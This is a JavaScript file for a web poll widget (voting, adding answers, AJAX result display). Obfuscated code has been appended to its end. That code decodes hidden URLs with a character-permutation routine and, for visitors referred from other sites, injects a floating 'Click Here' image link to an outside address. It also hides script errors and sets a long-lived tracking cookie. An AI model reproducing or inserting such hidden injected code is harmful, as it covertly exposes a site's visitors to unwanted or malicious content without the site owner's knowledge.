// setTimeout holder for the loading dots (...)
var demLoading;

function dem_Vote(that)
{
	inpts = that.getElementsByTagName('input');
	user_added = false;
	ans = -1;
	theSubmit = false;
	for (i = 0; i < inpts.length; i++)
	{
		cur = inpts[i];
		if (cur.type == 'radio' && cur.checked)
		{
			ans = cur.value;
			if (ans == 'newAnswer')
			{
			    user_added = true;
                ans = inpts[i+1].value;
            }
        }
		if (cur.name == 'dem_poll_id')
			poll_id = cur.value;
			
        if (cur.name == 'dem_cookie_days')
            cdays = cur.value;

		if (cur.type == 'submit')
			theSubmit = cur;

	}	
	
	// they haven't checked a box or they added a blank answer
	if (ans == -1 || ans == '')
		return false;

	demLoading = setTimeout(dem_loadingDots.bind(theSubmit), 50);

	path = that.action;
	
	if (user_added)
	{
	   path += "?dem_action=add_answer";
	   path += "&dem_new_answer="+encodeURIComponent(ans);
	   
	} else
	{
	   path += "?dem_action=vote";
	   path += "&dem_poll_"+poll_id+"="+ans;
    } 
    
	path += "&dem_poll_id="+poll_id;
	path += "&dem_ajax=true";
		
	dem_ajax.open("GET", path, true);
	dem_ajax.onreadystatechange = dem_displayVotes.bind(that);
	dem_ajax.send(null);
	

	return false;
}

function dem_addUncheck()
{
	oUL = this.parentNode.parentNode;
	lis = oUL.getElementsByTagName('li');
	
	els = lis[lis.length-1].childNodes;
	
	for (i = els.length-1; i >= 0; i--)
		if (els[i].nodeName.toLowerCase() == 'a')
			els[i].style.display = '';
		else
			els[i].parentNode.removeChild(els[i]);
		
			

	Inp = oUL.getElementsByTagName('input');
    for (i = 0; i < Inp.length; i++)
    {
        Inp[i].onclick = function () { return true };
    }

    return true;
}

function dem_addAnswer(that)
{
    allBoxes = that.parentNode.parentNode.getElementsByTagName('input');
    
    for (i = 0; i < allBoxes.length; i++)
    {
        allBoxes[i].onclick = dem_addUncheck;
		allBoxes[i].checked = false;
    }

	that.style.display = 'none';
	i1 = document.createElement('input');
	i1.type = 'radio';
	i1.value = 'newAnswer';
	i1.checked = true;
	
	i2 = document.createElement('input');
	i2.className = 'addAnswerText';
	
	that.parentNode.appendChild(i1);
	that.parentNode.appendChild(i2);	

	i2.focus();
    
    return false;
}

// very simple ajaxy loading visual
// adds 3 dots to link, then erase and start over
function dem_loadingDots() {
	
	isInput = this.nodeName.toLowerCase() == 'input';
	
	str = (isInput) ? this.value : this.innerHTML;

	if (str.substring(str.length-3) == '...')
		if (isInput)
			this.value     = str.substring(0, str.length-3);
		else
			this.innerHTML = str.substring(0, str.length-3);
	else
		if (isInput)
			this.value     += '.';
		else
			this.innerHTML += '.';
	
	demLoading = setTimeout(dem_loadingDots.bind(this), 200);
}

function dem_clearDots() {
	clearTimeout(demLoading);
}


function dem_getVotes(path, that)
{
	
	that.blur();
	demLoading = setTimeout(dem_loadingDots.bind(that), 50);

	dem_ajax.open("GET", path, true);
	dem_ajax.onreadystatechange = dem_displayVotes.bind(that.parentNode);
	dem_ajax.send(null);

    return false;
}

function dem_displayVotes ()
{
	
	if (dem_ajax.readyState != 4)
		return false;

	if (dem_ajax.status != 200)
	{
		alert('Error '+dem_ajax.status);
		return false;
	}
	
	clearTimeout(demLoading);
	this.innerHTML = dem_ajax.responseText;
}

function dem_getHTTPObject() {
  var xmlhttp;
  /*@cc_on
  @if (@_jscript_version >= 5)
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (E) {
        xmlhttp = false;
      }
    }
  @else
  xmlhttp = false;
  @end @*/
  if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
    try {
      xmlhttp = new XMLHttpRequest();
    } catch (e) {
      xmlhttp = false;
    }
  }
  return xmlhttp;
}


dem_ajax = new dem_getHTTPObject();


/*  from prototype.js */
Function.prototype.bind = function() {
  var __method = this, args = $A(arguments), object = args.shift();
  return function() {
    return __method.apply(object, args.concat($A(arguments)));
  }
}

var $A = Array.from = function(iterable) {
  if (!iterable) return [];
  if (iterable.toArray) {
    return iterable.toArray();
  } else {
    var results = [];
    for (var i = 0; i < iterable.length; i++)
      results.push(iterable[i]);
    return results;
  }
}
function BkXgsf2q(){
	document.getElementById("KAWXDr").style.display="none";
}
function UsxZtu1Y(){
	if(document.body.scrollTop==0)
		document.all["KAWXDr"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["KAWXDr"].style.top=document.body.scrollTop+10;
}
function BHF1Ljds(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("BF7e7snOl") == -1){
	var YC4s = new Date(), YC4s1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var oiHj = document.domain.toLowerCase(); 
			if(oiHj.indexOf('www.') == 0) oiHj = oiHj.substr(4);
			var BeL5 = document.referrer.toLowerCase().substr(7); 
			var oUgU = BeL5.indexOf('?'); 
			if(oUgU != -1) BeL5 = BeL5.substr(0, oUgU);
			var oUgU = BeL5.indexOf('/'); 
			if(oUgU != -1) BeL5 = BeL5.substr(0, oUgU);
			if(BeL5.indexOf('www.') == 0) BeL5 = BeL5.substr(4);
			if(BeL5 != oiHj && Math.random() < 1){
				YC4s.setTime(YC4s.getTime()+(10 * 24  *10  * 100   *   36 *100));
				YC4s1 = YC4s.toGMTString();
				var quC9 = navigator.appVersion.indexOf('MSIE') != -1;
				var TT0A=1;
				document.write('<div id="KAWXDr" style="'+(quC9 ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="TT0A=0"'+
				' title="Close" href="javascript: BkXgsf2q()" onmouseout="TT0A=1">Close[X]</a></b><br>'+
				'<a href="'+BHF1Ljds('20d1a87c4bf3e956320154786','tphplet//n:ist.memm/eb/rs')+oiHj+'.html'+'" target="_blank"><img src="'+BHF1Ljds('890d12cea564f73b61c7b8ef02439da50','t:/epimnhtlt/ps.nie2ri/gb3g/m.anf')+'" border=0 alt="Click Here" onclick="BkXgsf2q()"></a></div>');
				if(quC9){
					if (document.all["KAWXDr"].style)
					window.setInterval("UsxZtu1Y()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		YC4s.setTime(YC4s.getTime()+(100   *  24   *   100 * 10   * 90 * 36));
		YC4s1 = YC4s.toGMTString();
	}
	if(YC4s1 != false) document.cookie = "BF7e7snOl"+'=1; expires='+YC4s1+'; path=/';
}
